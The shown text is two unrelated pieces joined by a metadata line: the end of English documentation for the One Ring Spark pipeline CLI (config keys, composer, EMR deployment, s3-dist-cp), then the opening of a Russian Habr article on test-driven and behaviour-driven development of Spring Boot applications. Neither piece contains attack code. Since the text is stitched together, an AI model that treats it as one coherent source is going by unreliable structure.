`task.operations` (required) is a comma-separated list of Operation names to execute in the specified order. Any number of them, but not less than one. Names must be unique.
`task.input.sink` (required too) is an input sink. Any DataStream referred here is considered as one sourced from outside storage, and will be created by Storage Adapters of CLI (discussed later) for the consumption of Operations.
`task.tee.output` (also required) is a T-connector. Any DataStream referred here can be consumed by Operations as usual, but also will be diverted by Storage Adapters of CLI into the outside storage as well.
### Operation Instances
Operations share the layer `op.`, and it has quite a number of sub-layers.
Operation of a certain name is a certain Java class, but we don't like to call Operations by fully-qualified class names, and ask them nicely how they would like to be called by a short name.
So, you must specify such short names for each of your Operations in the chain, for example:
```
op.operation.range_filter=rangeFilter
op.operation.accuracy_filter=accuracyFilter
op.operation.h3=h3
op.operation.timezone=timezone
op.operation.center_mass_1=trackCentroidFilter
op.operation.track_type=trackType
op.operation.map_by_user=mapToPair
op.operation.map_pedestrian=mapToPair
op.operation.count_pedestrian=countByKey
op.operation.count_aqua2=countByKey
```
You see that you may have any number of calls of the same Operation class in your Process, they'll be all initialized as independent instances with different reference names.
### Operation Inputs and Outputs
Now we go down to Operations' namespace `op.` sub-layers.
First is `op.input.` that defines which DataStreams an Operation is about to consume as named. They names are assigned by the Operation itself internally. Also, an Operation could decide to process an arbitrary number (or even wildcard) DataStreams, positioned in the order specified by `op.inputs.` layer.
Examples from the config are:
```
op.inputs.range_filter=signals
op.input.accuracy_filter.signals=range_accurate_signals
op.inputs.h3=accurate_signals
op.inputs.timezone=AG
op.input.center_mass_1.signals=timezoned
op.input.track_type.signals=if_step1
op.inputs.type_other=tracks
```
Note that the keys end with just a name of an Operation in the case of positional Inputs, or 'name of an Operation' + '.' + 'its internal name of input' for named ones. These layers are mutually exclusive for a given Operation.
All the same goes for the `op.output.` and `op.outputs.` layers that describe DataStreams an Operation is about to produce. Examples:
```
op.outputs.range_filter=range_accurate_signals
op.output.accuracy_filter.signals=accurate_signals
op.outputs.h3=AG
op.outputs.timezone=timezoned
op.output.center_mass_1.signals=if_step1
op.output.track_type.signals=tracks
op.outputs.type_other=tracks_non_pedestrian
op.output.track_type_filter.signals=pedestrian_typed
```
A wildcard DataStream reference is defined like:
```
op.inputs.union=prefix*
```
It'll match all DataStreams with said prefix available at the point of execution, and will be automatically converted into a list with no particular order.
### Parameters of Operations
Next sub-layer is for Operation Parameter Definitions, `op.definition.`. Parameters names take the rest of `op.definition.` keys. And the first prefix of Parameter name is the name of the Operation it is belonging to.
Each Parameter Definition is supplied to CLI by the Operation itself via TDL2 interface (Task Description Language), and they are strongly typed. So they can have a value of any `Number` descendant, `String`, `enum`s, `String[]` (as a comma-separated list), and `Boolean` types.
Some Parameters may be defined as optional, and in that case they have a default value.
Some Parameters may be dynamic, in that case they have a fixed prefix and variable ending.
Finally, there is a variety of Parameters that refer specifically to columns of input DataStreams. Their names must end in `.column` or `.columns` by the convention, and values must refer to a valid column or list of columns, or to one of columns generated by the Operation. By convention, generated column names start with an underscore.
Look for some examples:
```
op.definition.range_filter.filtering.column=signals.accuracy
op.definition.range_filter.filtering.range=[0 50]
op.definition.h3.hash.level=9
op.definition.timezone.source.timezone.default=GMT
op.definition.timezone.destination.timezone.default={TZ}
op.definition.timezone.source.timestamp.column=AG.timestamp
op.definition.type_other.match.values=car,bike,non_residential,extremely_large
op.definition.track_type_filter.target.type=pedestrian
op.definition.track_type_filter.stop.time=900
op.definition.track_type_filter.upper.boundary.stop=0.05
op.definition.map_pedestrian.key.columns=pedestrian.userid,pedestrian.dow,pedestrian.hour
op.definition.map_aqua2.key.columns=aqua2.userid,aqua2.dow,aqua2.hour
```
Parameter `filering.column` of an Operation named `range_filter` points to the column `accuracy` from the DataStream `signals`, as well as `source.timestamp.column` of `timezone` is a reference to `AG` column `timestamp`. And `map_pedestrian`'s `key.columns` refers to list of `pedestrian` columns.
Parameter `hash.level` of `h3` is of type `Byte`, `type_other`'s `match.values` is `String[]`, and `track_type_filter`'s `upper.boundary.stop` is `Double`.
To set an optional Parameter to its default value, you may omit that key altogether, or, if you like completeness, comment it out:
```
#op.definition.another_h3.hash.level=9
```
For the exhaustive table of each Operation Parameters, look for the docs inside your 'RESTWrapper/docs' directory (assuming you've successfully built the project, otherwise it'll be empty).
### Parameters of DataStreams
Next layer is the `ds.` configuration namespace of DataStreams, and its rules are quite different.
First off, DataStreams are always typed. There are types of:
* `CSV` (column-based `Text` RDD with freely defined, but strongly referenced columns)
* `Fixed` (`CSV`, but column order and format is considered fixed)
* `Point` (object-based, contains Point coordinates with metadata)
* `Polygon` (object-based, contains Polygon outlines with metadata)
* `KeyValue` (PairRDD with an opaque key and column-based value like `CSV`)
* `Plain` (RDD is generated by CLI as just opaque Hadoop `Text`, or it can be a custom-typed RDD handled by Operation)
Each DataStream can be configured as input for a number of Operations, and as an output of only one of them.
DataStream name is always the last part of any `ds.` key. And the set of DataStream Parameters is fixed.
`ds.input.path.` keys must point to some abstract paths for all DataStreams listed under the `task.input.sink` key. The format of the path must always include the protocol specification, and is validated by a Storage Adapter of the CLI (Adapters are discussed in the last section of this document).
For example, for a DataStream named 'signals' there is a path recognized by the S3 Direct Adapter:
```
ds.input.path.signals=s3d://{BUCKET_NAME}/key/name/with/{a,the}/mask*.spec.?
```
Notice the usage of glob expressions. '{a,the}' token won't be processed as a Variable, but it is expanded to list of 'a' and 'the' directories inside '/key/name/with' directory by Adapter.
Same true for `ds.output.path.` keys, that must be specified for all DataStreams listed under the `task.tee.output` key. Let divert DataStream 'scores' to Local filesystem:
```
ds.output.path.scores={OUTPUT_PATH:file:/tmp/testing}/scores
```
But you may cheat here. There are all-input and all-output default keys:
```
ds.input.path=jdbc:SELECT * FROM scheme.
ds.output.path=aero:output/
```
In that case, for each DataStream that doesn't have its own path, its name will be added to the end of corresponding cheat key value without a separator. We don't recommend usage of these cheat keys in the production environment.
`ds.input.columns.` and `ds.output.columns.` layers define columns for column-based DataStreams or metadata properties for object-based ones. Column names must be unique for that particular DataStream.
Output columns must always refer to valid columns of inputs passed to the Operation that emits said DataStream, or its generated columns (which names start with an underscore).
Input columns list just assigns new column names for all consuming Operations. It may contain a single underscore instead of some column name to make that column anonymous. Anyways, if a column is 'anonymous', it still may be referenced by its number starting from `_1_`.
There is an exhaustive example of all column definition rules:
```
ds.input.columns.signals=userid,lat,lon,accuracy,idtype,timestamp
ds.output.columns.AG=accurate_signals.userid,accurate_signals.lat,accurate_signals.lon,accurate_signals.accuracy,accurate_signals.idtype,accurate_signals.timestamp,_hash
ds.input.columns.AG=userid,lat,lon,accuracy,idtype,timestamp,gid
ds.output.columns.timezoned=AG.userid,AG.lat,AG.lon,AG.accuracy,AG.idtype,AG.timestamp,_output_date,_output_year_int,_output_month_int,_output_dow_int,_output_day_int,_output_hour_int,_output_minute_int,AG.gid
ds.input.columns.timezoned=userid,lat,lon,accuracy,idtype,timestamp,date,year,month,dow,day,hour,minute,gid
ds.output.columns.tracks=if_step1.userid,if_step1.lat,if_step1.lon,if_step1.accuracy,_velocity,if_step1.timestamp,if_step1.date,if_step1.year,if_step1.month,if_step1.dow,if_step1.day,if_step1.hour,if_step1.minute,if_step1.gid,_track_type
ds.input.columns.tracks=userid,lat,lon,_,_,_,_,_,_,_,_,_,_,_,track_type
ds.output.columns.pedestrian_typed=if_step1.userid,if_step1.lat,if_step1.lon,if_step1.accuracy,if_step1.velocity,if_step1.timestamp,if_step1.date,if_step1.year,if_step1.month,if_step1.dow,if_step1.day,if_step1.hour,if_step1.minute,if_step1.gid,_point_type
ds.input.columns.pedestrian_typed=_,_,_,_,_,_,_,_,_,_,_,_,_,_,point_type
ds.output.columns.pedestrian=pedestrian_typed._1_,pedestrian_typed._2_,pedestrian_typed._3_,pedestrian_typed._4_,pedestrian_typed._5_,pedestrian_typed._6_,pedestrian_typed._7_,pedestrian_typed._8_,pedestrian_typed._9_,pedestrian_typed._10_,pedestrian_typed._11_,pedestrian_typed._12_,pedestrian_typed._13_,pedestrian_typed._14_
ds.input.columns.pedestrian=userid,lat,lon,_,_,timestamp,_,_,_,_,_,_,_,_
```
In `CSV` varieties of DataStreams, columns are separated by a separator character, so there are `ds.input.separator.` and `ds.output.separator.` layers, along with cheat keys `ds.input.separator` and `ds.output.separator` that set them globally. The super global default value of column separator is the tabulation (TAB, 0x09) character.
The final `ds.` layers control the partitioning of DataStream underlying RDDs, namely, `ds.input.part_count.` and `ds.output.part_count.`. These are quite important because the only super global default value for the part count is always 1 (one) part, and no cheats are allowed. You must always set them for at least initial input DataStreams from `task.input.sink` list, and may tune the partitioning in the middle of the Process according to the further flow of the Task.
If both `part_count.` are specifies for some intermediate DataStream, it will be repartitioned first to the output one (immediately after the Operation that generated it), and then to input one (before feeding it to the first consuming Operation). Please keep that in mind.
### Storage Adapters
Input DataStreams of an entire Process come from the outside world, and output DataStreams are stored somewhere outside. CLI does this job via its Storage Adapters.
There are following Storage Adapters currently implemented:
* Hadoop (fallback, uses all protocols available in your Spark environment, i.e. 'file:', 's3:')
* HDFS (same Hadoop, but just for 'hdfs:' protocol)
* S3 Direct (any S3-compatible storage with a protocol of 's3d:')
* Aerospike ('aero:')
* JDBC ('jdbc:')
The fallback Hadoop Adapter is called if and only if another Adapter doesn't recognize the protocol of the path, so the priority of 'hdfs:' protocol is higher than other platform-supplied ones.
Storage Adapters share two namesake layers of `input.` and `output.`, and all their Parameters are global.
Hadoop Adapter has no explicit Parameters. So does HDFS Adapter.
S3 Direct uses standard Amazon S3 client provider and has only the Parameter for output:
* `output.content.type` with a default of 'text/csv'
JDBC Adapter Parameters are:
* `input.jdbc.driver` and `output.jdbc.driver` for fully qualified class names of driver, available in the classpath. No default.
* `input.jdbc.url` and `output.jdbc.url` for connection URLs. No default.
* `input.jdbc.user` and `output.jdbc.user` with no default.
* `input.jdbc.password` and `output.jdbc.password` with no default.
* `output.jdbc.batch.size` for output batch size, default is '500'.
Aerospike Adapter Parameters are:
* `input.aerospike.host` and `output.aerospike.host` defaults to 'localhost'.
* `input.aerospike.port` and `output.aerospike.port` defaults to '3000'.
This concludes the configuration of One Ring CLI for a single Process. After you've assembled a library of basic Processes, you'll may want to know how to Compose them into larger workflows.
One Ring to unite them
----------------------
There is an utility in the CLI to merge (or Compose) two or more One Ring Process Templates into one larger Template.
This action is final and should be performed only when the pipeline of all participating Processes is fully established, as it mangles most of named entities from the composed tasks.inis and emits a much less readable config.
Name mangling is necessary because tasks.ini from different Processes may contain Operations and DataStreams with same names, and we want to avoid reference clashes. DataStreams may persist they names and carry over the resulting config, though.
Command line invocation of Composer is as follows (also available via REST):
```
java -cp ./TaskWrapper/target/one-ring-cli.jar ash.nazg.composer.Composer -X spark.meta -C "/path/to/process1.ini=alias1,/path/to/process2.ini=alias2" -o /path/to/process1and2.ini -M /path/to/mapping.file -v /path/to/variables.file -F
```
`-C` parameter is a list of config files path=alias pairs, separated by a comma. Order of Operations in the resulting config follows the order of this list. Source configs may be in .ini and JSON formats, and even freely mixed, just use .json extension for JSON configs.
`-X` lists task prefix(es), if they're present. If each is different, specify them all in a comma-separated list. If all are the same, specify it only once. If there are no prefixes, just omit this switch.
`-V` same as CLI: name=value pairs of Variables for all configs, separated by a newline and encoded to Base64.
`-v` same as CLI: path to variables file, name=value pairs per each line.
`-M` path to a DataStream mapping file used to pass DataStreams from one Process to other(s).
The syntax of that file is like this:
```
alias1.name1 alias2.name1
alias1.name2 alias2.name5 alias3.name8
```
This example's first line means that the DataStream 'name1' from the Process 'alias2' will be replaced by DataStream 'name1' from 'alias1' and retain the 'name1' in the resulting config. Second line replaces 'name5' in 'alias2' and 'name8' in 'alias3' with 'name2' from 'alias1', and persists 'name2' across the merged config. So the principle is simple: if you want to merge several DataStreams from different Processes, place the main one first, and then list the DataStreams to be replaced.
`-o` path to the composed output config file, in .ini format by default. For JSON output use .json extension.
`-F` perform a Full Compose, if this switch is given. Resulting `task.tee.outputs` will only contain same outputs as the very last config in the chain, otherwise it'll contain outputs from all merged tasks.
And in the Clouds run them
--------------------------
There are two supported ways to execute One Ring Tasks. It's always better to start with a Local mode, debug the whole process on smaller verified datasets, and them move it to the Cloud.
### Local Execution
After you've composed the Process configuration, you definitely should test it locally with a small but reasonably representative sample of your source data. It is much easier to debug a new Process locally rather than on the real cluster.
After you've built the local artifact, as described above, call it like:
```
java -jar ./RestWrapper/target/one-ring-cli.jar -c /path/to/tasks.ini -l -m 6g -x spark.meta -S /path/to/dist_interface.file
```
`-c` sets the path to tasks.ini.
`-l` means the local execution mode of Spark context ('local[\*]', to be precise).
`-m` sets the amount of Spark memory, like '4g' or '512m'.
`-x` sets the current task prefix, if needed. If you're planning to pass tasks.ini to your cluster via Spark context, you should use prefixed tasks.ini locally too.
`-S` to interface with One Ring Dist, discussed a bit further.
Also you should pass all the input and output paths via Variables, to ease transition between your local file system storage and the cluster's storage.
For example, let us assume your Process has two source datasets and one result, stored under paths specified by `SOURCE_SIGNALS`, `SOURCE_POIS` and `OUTPUT_SCORES` Variables. Just prepare a newline-separated list of name=value pairs of them, and then you have two ways to pass them to One Ring CLI:
1. Encode as Base64 string and pass with `-V` command line key
2. Place into a file (or other Adapter-supported Storage) and pass its path with `-v` command line key
If both keys are specified, `-V` has higher priority, and `-v` will be ignored.
For example,
```
cat > /path/to/variables.ini
SIGNALS_PATH=file:/path/to/signals
POIS_PATH=file:/path/to/pois
OUTPUT_PATH=file:/path/to/output
^D
base64 -w0 < /path/to/variables.ini
U0lHTkFMU19QQVRIPWZpbGU6L3BhdGgvdG8vc2lnbmFscwpQT0lTX1BBVEg9ZmlsZTovcGF0aC90by9wb2lzCk9VVFBVVF9QQVRIPWZpbGU6L3BhdGgvdG8vb3V0cHV0Cg==
java -jar ./RestWrapper/target/one-ring-cli.jar -c /path/to/tasks.ini -l -m 6g -V U0lHTkFMU19QQVRIPWZpbGU6L3BhdGgvdG8vc2lnbmFscwpQT0lTX1BBVEg9ZmlsZTovcGF0aC90by9wb2lzCk9VVFBVVF9QQVRIPWZpbGU6L3BhdGgvdG8vb3V0cHV0Cg==
java -jar ./RestWrapper/target/one-ring-cli.jar -c /path/to/tasks.ini -l -m 6g -v /path/to/variables.ini
```
You'll see a lot of Spark output, as well as the dump of your Task. If everything is successful, you'll see no exceptions in that output. If not, read exception messages carefully and fix your tasks.ini and/or check the source data files.
### Execution on a Compute Cluster
One Ring officially supports the execution on EMR Spark clusters via [TeamCity](https://www.jetbrains.com/teamcity/) continuous deployment builds, but it could be relatively easy adapted for other clouds, continuous integration services, and automation scenarios.
We assume you're already familiar with AWS and have the utility EC2 instance in that cloud. You may have or may not have to set up TeamCity or some other CI service of your preference on that instance. We like it automated though.
First off, you need to set up some additional environment on the utility instance, starting with latest version of PowerShell (at the very least, version 6 is required) and AWS Tools for PowerShell. Please follow the [official AWS documentation](https://aws.amazon.com/powershell/), and register your AWS API access key with these Tools.
Get the scripts and CloudFormation deployment template:
```
git clone https://github.com/PastorGL/one-ring-emr.git
```
Also get a template of configuration files:
```
git clone https://github.com/PastorGL/one-ring-emr-settings.git
```
And there are TC configs you may import into your TC:
```
git clone https://github.com/PastorGL/one-ring-tc-builds.git
```
Don't forget to customize VCS roots, and always use your own private copy of `one-ring-emr-settings`, because there'll go most sensitive data. In the case of other CI service, you may extract build steps from TC's XMLs. Their structure is pretty straightforward, just dig into them.
The environment set up by build configurations is a directory, where the contents of `one-ring-emr` is augmented with addition of `one-ring-emr-settings` and One Ring artifacts `one-ring-cli.jar` and `one-ring-dist.jar`, so it looks like this (you also may use symlinks to place them into manually):
```
/common
/presets
/settings
one-ring-cli.jar
one-ring-dist.jar
create-cluster.ps1
list-jobs.ps1
preset-params.ps1
remove-cluster.ps1
run-job.ps1
set-params.ps1
cluster.template
```
You place your tasks.ini into `/settings` subdirectory alongside other .ini files. Also, you must fill in all required values in all .ini files inside this directory, that conform to your AWS account environment.
We usually put presets for all our Processes in different branches of our copy if the `one-ring-emr-settings` repo, and just switch to the required branch of that repo for each Process' build configuration.
Build steps are executed in the following order:
1. Ask for Variables on TC UI
2. `preset-params.ps1`
3. `set-params.ps1`
4. `create-cluster.ps1`
5. Encode Variables to Base64
6. `run-job.ps1`
7. `remove-cluster.ps1`
Let we explain what each step does.
TC has a feature to define 'build configuration parameters', and provides an UI to set them at build execution time (along with corresponding REST methods). We use these build parameters to set Variables in our Process template, and ask the user for their values. Also we ask for any additional parameters specific for the environment, such as for a preset of cluster size.
At the next step we select one of four cluster size presets from `/preset` directory (S, M, L, XL .ini files) if it was selected on the previous step, and place its contents into build parameters.
`set-params.ps1` has an ability to override any line of any existing .ini file from `/settings` subdirectory by replacing it with a custom build parameter named as 'filename.ini' + '.' + 'parameter.name', which gives you another level of build parametrization flexibility. This script overwrites .ini files with these parameters, so all further scripts receive augmented configurations.
At the next step we create a Spark cluster in the EMR by deploying CloudFormation template augmented with all parameters gathered to this moment, and parameters from `/settings/create.ini`.
Then we encode Variables with Base64, just as we did in Local mode.
At this moment everything is ready to run the Process on the cluster. `run-job.ini` sets up all required environment (from the per-component .ini files from `/settings`), calls Livy REST method on the cluster, and waits for the completion. If tasks.ini contains more than one Task, all of them will be ran in the order of definition. Its own parameters are set by `/settings/run.ini`.
Even if any of previous steps fail, `remove-cluster.ps1` should be called. This script does the cleanup, and is controlled by `/settings/remove.ini`.
All scripts that deal with the cluster also share parameters from `/settings/aws.ini` global file.
It is possible to execute every PowerShell script in the interactive mode and manually copy-paste their output variables between steps via command line parameters. It may be helpful to familiarize yourself with that stuff before going fully automated.
We also usually go on the higher level of automation and enqueue TC builds with their REST API.
Anyways, closely watch your CloudFormation, EMR and EC2 consoles for at least few first tries. There may be insufficient access rights, and a lot of other issues, but we assume you are already experienced with AWS and EMR, if you are here.
And if you are, you already know that the S3 object storage is not too well suited for Spark because of its architectural peculiarities like 'eventual consistency' and response time dependency on the number of objects in the bucket. To avoid timeout errors, it is recommended to always copy the source data from S3 to HDFS on the cluster before Spark invocation, and, vice versa, to copy the result back from HDFS to S3 after it has been computed.
EMR provides an utility named `s3-dist-cp`, but its usage is cumbersome because you must know the exact paths.
One Ring provides a Dist wrapper to automate handling of `s3-dist-cp` while focusing around your Task config, so you can still use Variables for source paths and generate result paths dynamically while not bothering yourself with `s3-dist-cp` command line.
One Ring Dist also can be used with other flavors of `dist-cp`, if it is required by your environment.
### Calling One Ring Dist
The syntax is similar to CLI:
```
java -jar ./DistWrapper/target/one-ring-dist.jar -c /path/to/tasks.ini -o /path/to/call_distcp.sh -S /path/to/dist_interface.file -d DIRECTION -x spark.meta
```
`-c`, `-x`, `-v`/`-V` switches have the same meaning for Dist as to CLI.
`-d` specifies the direction of the copying process:
* 'from' to copy the source data from S3 to HDFS,
* 'to' to copy the result back.
`-S` specifies the path to interface file with a list of HDFS paths of Task outputs generated by the CLI.
`-o` is the path where to output the script with full `s3-dist-cp` commands.
### Dist Configuration
Dist has its own layer in tasks.ini, prefixed with `distcp.`, with a small set of keys.
`distcp.exe` specifies which executable should be used. By default, it has a value of 's3-dist-cp'.
`distcp.direction` sets which copy operations are implied to be performed. In addition to `-d` switch 'from' and 'to' there are:
* 'both' to indicate the copy in both directions is required,
* 'nop' (default) to suppress the copying.
Boolean `distcp.move` directs to remove files after copying. By default it is set to true.
`distcp.dir.to` and `distcp.dir.from` specify which HDFS paths are to be used to store files gathered from HDFS and for the results respectively, with the defaults of '/input' and '/output'. Subdirectories named after DataStreams will be automatically created for their files under these paths.
`distcp.store` and `distcp.ini` provide another way to set `-S` and `-o` values (but command line switches always have higher priority and override these keys if set).
### Dist Usage
When CLI encounters `distcp.direction` directive in the config, it transparently replaces all its S3 input and output paths with HDFS paths according to the provided direction.
This is useful for multi-Process tasks.ini. If the outputs from the first Task are stored in HDFS, it allows next Tasks to consume them without a round-trip to S3 while still providing the paths pointing to S3:
```
spark.task1.distcp.direction=to
spark.task2.distcp.direction=nop
spark.task3.distcp.direction=from
```
...and if same Task is executed solo, it should just use bi-directional copy:
```
spark.task1.distcp.direction=both
```
...without further changes to path Variables and other configuration parameters.
For any DataStream that goes to `distcp.dir.from` the CLI adds a line with the resulting HDFS path to Dist interface file (under `distcp.store` / `-S` path). That allows Dist to gather them and generate commands for the `from` direction.
Actually you should never invoke Dist manually, it is a job of automation scripts to call it before and after the execution of CLI.
Join the Fellowship
-------------------
If you want to contribute, please refer to a list of [One Ring issues](https://github.com/PastorGL/OneRing/issues) first.
An issue for your most desired feature may have already been created by someone, but if it has not, you're free to create one. Do not attach any assignees, labels, projects and so on, just provide a detailed explanation of its use case and write a simple initial specification.
If you have some spare programming horsepower and just want to code something, you can select an issue labeled as 'Help Wanted', 'Wishlist' and assigned priority — one of priority ('Px') labels. There are labels 'Okay to tackle' and 'Good first issue' that designate the complexity of an issue. Just assign it to yourself and ask for complete specification, if it doesn't exist yet.
Do not choose issues labeled as 'Caution advised' unless you become really familiar with entire One Ring codebase.
Note that One Ring has an established code style. Your contributions must firmly adhere to coding patterns we use so they don't feel alien.
Make sure your pull requests don't touch anything outside the scope of an issue, and don't add or change versions of any external dependencies. At least, discuss these topics with original authors before you contribute.
We won't accept any code that has been borrowed from any sources that aren't compatible by license. Ours is New BSD with do no evil clause. Just do not use One Ring as a weapon, okay?
This project has no Code of Conduct and never will. You can be as sarcastic as you want but stay polite and don't troll anyone if you don't want to be trolled in return.
Happy data engineering! | https://habr.com/ru/post/486466/ | null | en | null |
# Как построить пирамиду в багажнике или Test-Driven Development приложений на Spring Boot
*Spring Framework* часто приводят как пример [Cloud Native](https://pivotal.io/spring-app-framework) фреймворка, созданного для работы в облаке, разработки [Twelve-Factor приложений](https://12factor.net/), микросервисов, и одного из самых стабильных, но в то же время инновационных продуктов. Но в этой статье я бы хотел остановиться на еще одной сильной стороне Spring: это его поддержка *разработки через тестирование* (TDD-руемость?). Не смотря на TDD-руемость, я часто замечал, что в проектах на Spring либо игнорируются некоторые best practices для тестирования, либо изобретаются свои велосипеды, либо вообще не пишутся тесты потому что они "медленные" или "ненадежные". И вот именно о том, как писать **быстрые** и **надежные** тесты для приложений на Spring Framework и вести разработку через тестирование я и расскажу. Так что если вы используете Spring (или хотите начать), понимаете что такое вообще тесты (или хотите понять), или думаете что `contextLoads` это и есть необходимый и достаточный уровень интеграционного тестирования — то будет интересно!
"TDD-руемость" характеристика очень неоднозначная, и плохо измеримая, но все же у Spring есть много всего что by design помогает писать интеграционные и юнит тесты с минимумом усилий. Например:
* Интеграционное тестирование — можно легко запустить приложение, замокать компоненты, переопределить параметры, и т.п.
* Фокусное интеграционное тестирование — только доступ к данным, только веб и т.д.
* Поддержка из коробки — in-memory баз данных, очереди сообщений, аутентификации и авторизации в тестах
* Тестирование через контракты (Spring Cloud Contract)
* Поддержка тестирования Web UI, используя HtmlUnit
* Гибкость конфигурации приложения — профили, тестовые конфигурации, компоненты и т.п.
* И еще много всего
Для начала, маленькое, но необходимое, введение про TDD и тестирование вообще.
Test Driven Development
=======================
В основе TDD лежит очень простая идея — пишем тесты **до** того, как пишем код. В теории звучит пугающе, но через какое-то время приходит понимание практик и приемов, и вариант написание тестов *после* вызывает ощутимый дискомфорт. Одна из ключевых практик это *итеративность*, т.е. делать все маленькими, сфокусированными итерациями, каждая из которых описывается как **Red-Green-Refactor**.
В **красной** фазе — пишем падающий тест, при чем очень важно, чтобы он падал с ясной, понятной причиной и описанием и чтобы сам тест был законченым и проходил, когда написан код. Тест должен проверять *поведение*, а не *реализацию*, т.е. следовать подходу "черного ящика", далее поясню почему.
В **зеленой** фазе пишем *минимально необходимый код* чтобы пройти тест. Иногда бывает интересно попрактиковаться и доводить до асбсурда (хотя лучше не увлекаться) и когда функция возвращает boolean в зависимости от состояния системы, первым "проходом" может быть просто `return true`.
В фазе **рефакторинга**, к которой можно приступать *только когда все тесты зеленые*, рефакторим код и приводим его в надлежащее состояние. Необязательно даже для куска кода, который мы написали, поэтому и начинать рефакторинг важно на стабильной системе. Подход "черного ящика" как раз поможет выполнять рефакторинг, меняя реализацию, но не трогая поведение.
Я буду еще говорить о разных аспектах TDD в будущем, в конце-концов это идея серии статей, поэтому сейчас особо не буду останавливаться на деталях. Но заранее отвечая на стандартную критику TDD, упомяну пару мифов, которые я слышу часто.
* *"TDD это про 100% покрытие кода, а это не дает гарантий"* — разработка через тестирование отношения к 100%-му покрытию не имеет вообще. Во многих командах, где я работал, эту метрику даже не измеряли, и относили к разряду vanity метрик. И да, 100% test coverage не значит ничего.
* *"TDD работает только для простых функцих, настоящее приложение с БД и сложным состоянием с ним не сделаешь"* — очень популярное оправдание, обычно дополняемое "У нас такое сложное приложение, что мы вообще тесты не пишем, никак нельзя". Я видел работающий TDD подход на абсолютно разных приложениях — web (с SPA и без), мобильных, API, микросервисов, монолитов, сложнейших банковских систем, облачных платформ, фреймворков, ритейл платформ, написанных на разных языках и технологиях. Так что популярный миф "Мы уникальные, у нас все по-другому" это чаще всего оправдание не вкладывать силы и средства в тестирование, а не реальная причина (хотя реальные причины тоже могут быть).
* *"С TDD все равно будут баги"* — конечно, как и в любом другом софте. TDD это вообще не про баги или их отсутствие, это инструмент разработки. Как отладка. Как IDE. Как документация. Ни один из этих инструментов не гарантирует отстутствие багов, они лишь помогают справляться с возрастающей сложностью системы.
> Главная цель TDD и вообще тестирования — дать команде **уверенность**, что система работает стабильно. Поэтому никакая из практик тестирования не определяет, сколько и каких тестов писать. Пишите, сколько считаете нужным, сколько вам нужно, чтобы быть уверенным, что прямо сейчас код *можно поставить в продакшен и он будет работать*. Есть люди, которые считают быстрые интеграционные тесты, как ультимативный "черный ящик" необходимыми и достаточными, а юнит-тесты — опциональными. Кто-то говорит, что e2e тесты при возможности быстрого отката к предыдущей версии и наличии canary-релизов не так критичны. Сколько команд — столько и подходов, важно найти свой.
Одна из моих целей — это отойти в рассказе о TDD от формата *"разработка через тестирование функции, которая складывает два числа"*, и посмотреть на реальное приложение, своего рода выпаренную до минимального приложения практику тестирования, собранную на реальных проектах. В качестве такого полуреального примера я буду использовать небольшое веб-приложение, которое сам придумал, для абстрактной ~~фабрики~~ пекарни-булочной — **Cake Factory**. Я планирую писать небольшие статьи, фокусируясь каждый раз на отдельном куске функциональности приложения и показывать, через TDD можно проектировать API, внутреннюю структуру приложения и поддерживать постоянный рефакторинг.
Примерный план для серии статей, как я его вижу на данный момент, это:
1. Walking skeleton — каркас приложения, на котором можно запустить Red-Green-Refactor цикл
2. UI тестирование и Behaviour Driven Design
3. Тестирование доступа к данным (Spring Data)
4. Тестирование авторизации и аутентификации (Spring Security)
5. Реактивный стек (WebFlux + Project Reactor)
6. Взаимодействие (микро) сервисов и контракты (Spring Cloud)
7. Тестирование очереди сообщений (Spring Cloud)
Эта вводная статья будет про пункты 1 и 2 — я создам каркас приложения и базовый UI тест, используя подход BDD — или **behaviour-driven development**. Каждая статья будет начинаться с [user story](https://en.wikipedia.org/wiki/User_story), но для экономии времени про "продуктовую" часть я говорить не буду. User story будет написана по-английски, скоро станет понятно, почему. Все примеры кода можно найти на GitHub, так что я не буду разбирать весь код, только важные части.
> User story — это описание фичи приложения на естественном языке, которые обычно пишутся от лица пользователя системы.
User story 1: Пользователь видит страницу приветствия
=====================================================
> **As** Alice, a new user
>
> **I want** to see a welcome page when visiting Cake Factory web-site
>
> **So that** I know when Cake Factory is about to launch
>
>
>
> Acceptance criteria:
>
> Scenario: a user visiting the web-site visit before the launch date
>
> Given I’m a new user
>
> When I visit Cake Factory web-site
>
> Then I see a message 'Thanks for your interest'
>
> And I see a message 'The web-site is coming soon…'
Потребуются знания: что такое [Behaviour-Driven Development](https://docs.cucumber.io/bdd/) и [Cucumber](https://docs.cucumber.io/), основ [Spring Boot Testing](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-testing.html).
Первая user story совсем базовая, но цель пока не в сложности, а в создании [walking skeleton](https://devops.stackexchange.com/questions/712/what-is-a-walking-skeleton) — минимального приложения, чтобы запустить **TDD цикл**.
После создания нового проекта на [Spring Initializr](https://start.spring.io/) с Web и Mustache модулями, для начала мне понадобится еще несколько изменений в `build.gradle`:
* добавить HtmlUnit `testImplementation('net.sourceforge.htmlunit:htmlunit')`. Версию указывать не нужно, Spring Boot dependency management плагин для Gradle автоматически выберет нужную и совместимую версию
* мигрировать проект с JUnit 4 на JUnit 5 (потому, что 2018-й на дворе)
* добавить зависимости на Cucumber — библиотеку, которую я буду использовать для написания BDD спецификаций
* удалить созданный по-умолчанию `CakeFactoryApplicationTests` с неизбежным `contextLoads`
По большому счету, это уже базовый "скелет" приложения, уже можно писать первый тест.
Чтобы было проще ориентироваться в коде, коротко расскажу про используемые технологии.
Cucumber
--------
[Cucumber](https://docs.cucumber.io/guides/overview/) это **Behaviour-Driven Development** фреймворк, который помогает создавать "выполнимые спецификации", т.е. запускать тесты (спецификации), написанные на естественном языке. Плагин Cucumber-а анализирует исходный код на Java (и многих других языках) и использует описания шагов (*step definitions*) для запуска реального кода. Step definitions представляют собой методы класса, аннотированные `@Given`, `@When`, `@Then` и другими аннотациями.
HtmlUnit
--------
[Главная страница](http://htmlunit.sourceforge.net/) проекта называет HtmlUnit "GUI-less браузером для приложений на Java". В отличие от Selenium, HtmlUnit не запускает реального браузера и, самое важное, не отрисовывает страницу вообще, работая напрямую с DOM. JavaScript поддерживается через движок Rhino от Mozilla. HtmlUnit хорошо подходит для классических приложений, но не очень дружит с Single Page Apps. Для начала его будет достаточно, а дальше я попробую показать, что даже такие вещи как тестовый фреймворк можно сделать деталью реализации, а не фундаментом приложения.
Первый тест
===========
Теперь мне как раз пригодится user-story, написанная на английском. Лучший триггер для запуска очередной итерации TDD — это acceptance criteria написанные в таком виде, что их можно с минимум телодвижений превратить в исполняемую спецификацию.
